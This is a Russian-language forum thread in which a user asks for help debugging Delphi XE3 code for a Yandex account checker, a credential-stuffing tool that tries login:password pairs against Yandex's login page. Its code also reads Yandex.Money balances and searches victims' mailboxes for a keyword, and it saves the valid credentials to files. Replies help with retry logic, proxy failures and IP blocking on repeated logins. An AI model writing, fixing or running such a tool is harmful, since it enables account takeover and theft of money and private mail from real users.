Помогите с кодом!

1. Подскажите пожалуйста как убрать еррор, чтобы только гуд и бед остались?
2. Еще как сделать двойную проверку на гуд, что бы наверняка.
Не обращайте на код и сайт будет все другое взял для примера. Спасибо!
Код на Delphi xe3

Spoiler

http.IOHandler:=ssl;
data:=tstringlist.Create;
Data.Add('twoweeks=yes');
Data.Add('login='+FAcc);
Data.Add('passwd='+FPas);
http.IOHandler:=ssl;

try
HTTP.Post('https://passport.yandex.ru/passport?mode=auth', data);
Rez:=0;
except
if Pos('Set-Cookie: yandex_login=', HTTP.Response.RawHeaders.Text)<>0 then
begin
Rez:=1;

if Form1.sCheckBox3.Checked = true then
begin
html:=HTTP.Get('http://m.money.yandex.ru/');
money:=Pars('b-mess__money.png" alt="">',html,'<');

if Pos('руб', money)<>0 then
begin
money:=' | Баланс: '+money;
Append(BalanceFile);
Writeln(BalanceFile,FAcc+':'+FPas+money);
Closefile(BalanceFile);
Form1.sLabel12.Caption:=inttostr(StrToInt(Form1.sLabel12.Caption)+1);
end
else
begin
money:='';
end;
end;

if Form1.sCheckBox2.Checked = true then
begin
html:=HTTP.Get('https://mail.yandex.ru/lite/search?request='+Form1.sEdit3.Text);
while Pos('b-messages__message__checkbox', html) <> 0 do
begin
Delete(html, 1, Pos('b-messages__message__checkbox', html) + Length('b-messages__message__checkbox') - 1);
Form1.sMemo1.Lines.Add(Copy(html, 1, Pos('>', html) - 1));
Application.ProcessMessages;
end;
mails:=(' | '+Form1.sEdit3.Text+' ['+IntToStr(Form1.sMemo1.Lines.Count)+']');
if Form1.sMemo1.Lines.Count>0 then
begin
Append(CheckedFile);
Writeln(CheckedFile,FAcc+':'+FPas+mails);
Closefile(CheckedFile);
Form1.sLabel8.Caption:=inttostr(StrToInt(Form1.sLabel8.Caption)+1);
end;
Form1.sMemo1.Clear;
end;
end
else
Rez:=-1;
end;
end;

Synchronize(Sync);
HTTP.Free;
data.Free;
end;
dec(Thread);
if Thread=0 then MessageDlg('The end.',mtInformation,[mbOK],0);
Form1.Button4.Enabled:=false;
Form1.Button3.Enabled:=true;
Form1.Button1.Enabled:=true;
Form1.SpinEdit1.Enabled:=true;
Form1.SpinEdit2.Enabled:=true;
Form1.Button2.Enabled:=true;
Form1.sCombobox1.Enabled:=true;
Form1.sCheckBox1.Enabled:=true;
end;

procedure TNewThread.Sync;
begin
case Rez of
-1:begin
Accounts.Add(FAcc+':'+FPas);
Form1.errorlabel.Caption:=IntToStr(StrToInt(Form1.errorlabel.Caption)+1);
end;
1:begin
Append(GoodFile);
Writeln(GoodFile,FAcc+':'+FPas);
Closefile(GoodFile);
Form1.Memo1.Lines.Add(FAcc+':'+FPas+mails+money);
Form1.GoodLabel.Caption:=IntToStr(StrToInt(Form1.GoodLabel.Caption)+1);
Form1.sGauge2.Progress:=Form1.sGauge2.Progress+1;
Form1.Checkedlabel.Caption:=inttostr(StrToInt(Form1.Checkedlabel.Caption)-1);
end;
0:begin
Append(BadFile);
Writeln(BadFile,FAcc+':'+FPas);
Closefile(BadFile);
Form1.BadLabel.Caption:=IntToStr(StrToInt(Form1.BadLabel.Caption)+1);
Form1.sGauge2.Progress:=Form1.sGauge2.Progress+1;
Form1.Checkedlabel.Caption:=inttostr(StrToInt(Form1.Checkedlabel.Caption)-1);
end;
end;
end;

Чтобы не плодить темы, может кто подскажет, может быть на сайте блокировка ip при авторизации? причем со второго третьего раза.
А через браузер все норм хоть до бесконечности.

 

Кто может помочь?

 

напиши в личку кодерам, не факт что они смотрят этот раздел

 

А может еще 5 проверку? Что бы забанили.
Для проверки веди условия
После всего что сделал в
try
if все успешно = true then
повторить.

Сильно не смотрел в код, но
У тебя он тупо отсылает если ошибка то
except
Оставь все после это пустое или пусть из базы удаляет строку эту, ну или куда ты там загрузил все.

Честно я одно не понял почему если у тебя идет запрос и если он не удался то парсит страницы которые неактивные


try Успешное действие которое выше было
HTTP.Post('https://passport.yandex.ru/passport?mode=auth', data);
Rez:=0;
except при ошибки
if Pos('Set-Cookie: yandex_login=', HTTP.Response.RawHeaders.Text)<>0 then
begin
Rez:=1;
*************


Указывай какой язык. Честно, что то все запутано у тебя.
Я понимаю, что ты делаешь чекер яндекс, на баланс и на запрос в почте. Но запутано все.

Для начало все разбей на функции(процедуры) Потом будет легче работать и все понятнее будет.

 

Спасибо за совет и за ответ.
С кодом буду перебирать вроде немного вник, что откуда и куда пишу на Delphi xe3.

 

Подскажите кто знает, почему много ерор в бруте хотя гуды правильно определяет? Delphi

 

Причин может быть много. Мы (я) твой код не знаю, и почему так.

Самая распространенная это прокси плохие.

 

Просто при авторизации на сайт нормальным код считается 302 а программа видит как ошибку но не всегда

 

Возможно тупо не успевает загружаться, и выводит бред, от сюда ошибка.Может прокси.